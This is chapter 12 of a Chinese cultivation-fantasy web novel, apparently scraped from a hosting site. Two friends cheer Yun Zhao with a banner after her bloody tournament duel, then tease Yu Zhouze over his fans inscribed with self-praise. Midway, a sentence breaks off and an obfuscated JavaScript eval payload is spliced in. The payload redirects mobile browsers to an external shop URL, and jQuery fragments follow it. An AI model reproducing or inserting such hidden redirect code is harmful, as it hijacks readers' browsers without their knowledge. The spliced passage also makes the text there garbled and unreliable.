12. 012
    马上到云昭比赛,她提前去候着了。

    喻舟则没走,接替了云昭的位置坐在沈轻迟旁边。

    一个撑着伞,一个摇着扇,要多悠闲有多悠闲。

    沈轻迟放飞的小纸鹤飞了回来,脖子上还挂着个迷你乾坤袋。

    她取下,乾坤袋立马恢复了正常大小。

    纸鹤摊开,写着句话:

    “临时有事,没办法过去了。”

    狂草凌乱,明显是在很匆忙的情况下写的。

    沈轻迟眨眨眼,算是接受了这个说法。

    她收起东西,偏头问喻舟则:“一会儿,可不可以帮我个忙?”

    喻舟则没问是什么事情,直接答应了。

    “好,刚巧有空。”

    不多时,鼓声响起,“下一场,壹三十四——”

    沈轻迟坐直身体,这还是她第一次正正经经看云昭与人对打,之前捉她和李纵打的时候,沈轻迟通常在一边扯树叶玩,不爱看菜鸡互啄。

    云昭将头发高高束起,亮红色发带随风飘动,像跳动的火焰。

    手里拿着她那把小剑,整个人站得笔直,只待出鞘。

    她的对手同样是个剑修,气势逼人。

    云昭明显牢记沈轻迟那句“是剑修就去砍人”,不等对手动作,便径直冲上前,朝着对手劈头砍去。

    对手反应很快,迅速提剑格挡反击。

    两剑相击,响起清脆碰撞声,剑气四溅,演武场地面被刮出几道痕。

    场上打得激烈,沈轻迟戳戳喻舟则,“走了,帮我的忙。”

    喻舟则看了眼她,又看了眼正与人对打的云昭,疑惑道:“你不把她的比赛看完吗?”

    沈轻迟:“看了呀,打得挺好的。”

    喻舟则:“?”

    “走了走了。”

    喻舟则不明所以,但还是跟着沈轻迟走了。

    两人来到高处空地,演武场里的人打完后,只要抬头,一眼就能看到她们。

    沈轻迟从纸鹤送来的那个乾坤袋中取出一卷厚厚的红色绸缎,把一端递给喻舟则,“你帮我拿着这个,然后向后退。”

    “这是什么?”

    沈轻迟捏着另一端也向后退,“横幅。”

    “?”

    “先别展开。”沈轻迟说。

    喻舟则乖乖照做,“上面写了什么?”

    “一会儿你就知道了,等场上打完再展开。”

    “好。”

    两人在上面忙碌一小会儿,终于将横幅铺好,只等结束展开。

    沈轻迟再抬头,想看看云昭打得怎么样了,却发现战局变换莫测,云昭已落入下方,脸颊上,衣袖上全是剑气划出的细小伤痕,不断流着血。

    沈轻迟沉默了。

    好在她的对手身上伤痕只多不少,同样没在云昭手下捞到好处。

    此刻云昭神情坚毅,目光死死盯着对手,仿佛伤口不存在一般,眼中光芒更盛,一次又一次发起攻势。

    喻舟则走到她身边,也看到了战局,惊讶地睁圆了眼,“她怎么忽然变那么惨。”

    “你横幅上写的内容会不会没用了?”

    他虽然没看过具体写的什么,但想来无外乎是恭喜获胜云云。

    沈轻迟强忍着扔几颗回春丹下去的冲动,诧异地看了眼喻舟则,“怎么会。”

    她没再说话,又垂眼看着云昭不停挥剑,流血,挥剑。

    对手与云昭都已是强弩之末,吊着口气,只看谁有毅力让对手咽气。

    沈轻迟想,她以前也有这个样子的时候,只是与人对砍时没感觉,只想着让对方快点死,原来在场外人看着,是这副模样。

    怪不得师兄每次拖她回去时的表情恐怖的像鬼一样,吓得她想给师兄也来一剑。

    她收回视线,俯下身捡起横幅一角,叫了声喻舟则,“别看了,举举,举举。”

    喻舟则捡起横幅,“你看出来谁会赢了?”

    “这还用看,”沈轻迟道:“云昭啊。”

    “你对她这么自信?”

    “不是,是对手快没气了。”

    “?”

    果不其然,下一刻,剑刃再次相击时,对手双手不似先前紧握剑柄,脱了力,整个人直挺挺地倒在了地上。

    云昭恍惚,灵力消耗一空,差点也倒在地上,用剑支撑着才没倒。

    医修们浩浩荡荡围上来,浩浩荡荡抬着对手走了。

    云昭想,她也倒了被抬走好了。

    正打算这样做时,她仰头,看到了正上前方,一道长长的红色横幅被人举着,余晖下,像燃烧的灼灼火海。

    横幅前那人浅浅笑着,阳光为她镀了层金边,闪闪发着光。

    ——“恭喜云昭成功参加论道大会!”

    云昭眨了下眼,干涩的眼球被湿润覆盖,她不知从哪来的力气,提剑一甩,直直飞向沈轻迟身前。

    沈轻迟刚还笑着,见云昭忽然上来,还是一个满身是血的云昭,飞速甩了二四六七八九十个清洁术过去。

    别说,看着真有点吓人,师兄以前愿意拖着她走还是太善良了。

    见云昭又有点脱力,沈轻迟连忙接住她,横幅都没空举了。

    只剩喻舟则一个人傻傻举着单边横幅,场下时不时有人看过来,他也没好意思再举着,帮沈轻迟收了横幅。

    他走到沈轻迟身边时,沈轻迟正一个劲儿给云昭塞丹药。

    “你刚刚喂的量再治五个人都没问题。”他说。

    沈轻迟终于停下了手里的动作,“你还懂这个?”

    喻舟则骄傲地晃了下扇子,“略懂。”

    云昭听着她们说话,手指动了动,恢复了精气,她缓慢站起身。

    沈轻迟接过喻舟则递来叠好的横幅收进乾坤袋,问她:“怎么把自己打得这么惨。”

    “是啊。”喻舟则也看着她,像是重新认识了一遍云昭,看着不大一点,打架打这么凶。

    “不过,”他压低了声音问沈轻迟:“她的对手,最后是真的没气了吗?”

    沈轻迟:“……?”

    这话你都信?

    云昭懵。

    沈轻迟抢过喻舟则折扇,在手中转了一圈后合上,用扇柄敲喻舟则脑袋,咚咚响。

    扇子离手,喻舟则表情有些慌乱,连忙要去抢回来。

    沈轻迟听着声音,又敲了两下,“空的,怪不得。”

    喻舟则疑惑,抢扇子的动作顿了下,目光仍直直看着他的扇子,“什么空的?”

    “脑袋。”

    沈轻迟把扇子扔回给他,“怎么那么紧张,我早就知道你的小秘密。”

    这话一出,云昭和喻舟则眼神灼灼看着她。

    “什么秘密?!”

    两人同时问。

    沈轻迟戳云昭脑袋,“你不是也知道吗。”

    “啊?!”

    喻舟则更震惊了。

    沈轻迟学着喻舟则平日里的样子,扇着空气,假装手里有把扇子,举高望着棒读,“我——好——帅——”

    喻舟则看懂了,一瞬间,脸色爆红。

    他明明、明明隐藏得很好!

    他后悔把横幅叠好还给沈轻迟了,如果没给的话,至少现在他还能把自己的脸遮住。

    沈轻迟拍

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355176|140691||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    拍他肩膀,“安心啦,年轻人自恋一点,很正常的。”

    说着,她又去拿喻舟则的扇子,想再看看那三个字的真容。

    喻舟则脸红着,手上动作丝毫不慢,迅速把扇子收回袖中,“……别看了,没写。”

    沈轻迟不信,“真的吗?看看。”

    云昭复读,“真的吗?看看。”

    喻舟则想要逃跑,沈昼这人真可怕。

    怪不得和他邻居那个沈昼长得像还重名呢,两个人一样可怕。

    喻舟则羞愤欲死,迫于沈轻迟压力,带着点破罐破摔,交出了扇子。

    可恶!她怎么会知道自己每晚在房间里做这种事?!

    沈轻迟原本只是即兴发挥,想逗逗这人,没想到给她演上真的了。

    脸再红点就和刚刚全是血的云昭有一拼了。

    沈轻迟拿着他的扇子,这把与上次她见那把有着点细微的差异。

    云昭脑袋凑了过来。

    沈轻迟唰一下打开,看清扇面上东西时沉默了。

    她已经数不清这是最近第几次沉默,你们学宫的人真有意思。

    看着扇面上反射出的她和云昭两人呆愣模样,沈轻迟火速把扇子合上了。

    怎么会有正常人把扇子另一面用灵力做成镜子的样式啊!

    原本以为“我好帅”是巅峰,没想到只是个开始。

    沈轻迟弯下腰凝视低着头的喻舟则,看得喻舟则愤愤捂住了脸。

    好哇你,看着正正常常一个人,除了刚见面时大惊小怪了点,那也没事,但是直到现在才真正发现,你原来是这样的喻舟则!

    自恋程度,堪比巅峰时期的沈轻迟!

    莫名的,沈轻迟有种遇到知音的微妙感。

    但可惜,她已经不是从前的她了,她现在洗心革面,老实摸鱼。

    沈轻迟直起身,拍拍喻舟则脑袋,“快起来,天黑了,再不走膳堂打烊了。”

    喻舟则没动。

    云昭戳他脑袋。

    沈轻迟:“你肚子打雷了。”

    喻舟则惊恐起身后退,“怎么可能!”

    沈轻迟:“骗你的,其实是云昭。”

    云昭震惊:“我没听到啊!”

    听不听得到都不要紧,喻舟则已经活过来了,那沈轻迟和云昭该走了。

    如果留他一个人在那里,沈轻迟害怕他会羞愤地蹲一晚上。

    挺吓人的,即使沈轻迟就是造成这一惨案的始作俑者。

    她招呼云昭:“走了。”

    云昭:“哦哦!”

    没走两步,喻舟则也跟上来。

    “你不害羞了?”

    喻舟则:“……不是说肚子打雷了吗?去膳堂啊。”

    “噢。”

    喻舟则本性暴露后,他似乎开始变得放肆起来,在沈轻迟和云昭面前,彻底丢弃了世家公子那套外皮。

    他大手一挥,“走,少爷请你们吃饭去。”

    沈轻迟和云昭原本往舍馆回的步伐诚恳地拐了个弯。

    少爷还特地开了个包厢,果汁过三巡,他拿出了那把写了字的扇子挥来挥去,不同的是,把字那面朝外了。

    沈轻迟看得晃眼,说:“你究竟有多少把扇子?”

    云昭也猛猛喝果汁,她问沈轻迟:“那你有几把小伞?”

    喻舟则神秘一笑,又拿出了好多把扇子,灵力包裹着它们浮在空中,徐徐展开。

    分别写满了——

    “我真帅”、“我最帅”、“我超牛”、“超级棒”……

    沈轻迟怜惜地捂住了她小伞的伞柄,“别看,我只有你一把。”